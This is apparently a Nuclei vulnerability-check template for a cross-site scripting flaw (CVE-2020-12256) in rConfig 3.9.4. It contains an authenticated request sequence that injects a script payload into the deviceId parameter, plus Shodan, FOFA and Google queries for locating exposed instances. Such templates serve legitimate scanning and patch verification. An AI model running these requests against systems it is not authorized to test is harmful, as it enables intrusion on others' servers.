The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.
PoC代码[已公开]
id: CVE-2020-12256
info:
name: rConfig 3.9.4 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.
reference:
- https://www.rconfig.com/downloads/rconfig-3.9.4.zip
- https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
- https://nvd.nist.gov/vuln/detail/CVE-2020-12256
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-12256
cwe-id: CWE-79
epss-score: 0.52823
epss-percentile: 0.97874
cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 3
vendor: rconfig
product: rconfig
shodan-query:
- http.title:"rConfig"
- http.title:"rconfig"
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
tags: cve,cve2020,rconfig,authenticated,xss
http:
- raw:
- |
GET /login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /lib/crud/userprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}&sublogin=1
- |
GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
- 'contains(content_type_3, "text/html")'
condition: and
# digest: 4a0a0047304502210089cb8a9c22a05d80b02b9aedae6e6e393a227e242168d7ccc34977e68fb3611d0220770d1f67fd8ee40e960cea5e2d47ce8912d559520c47c105e1999a6e7f092dd5:922c64590222798bb761d5b6d8e72950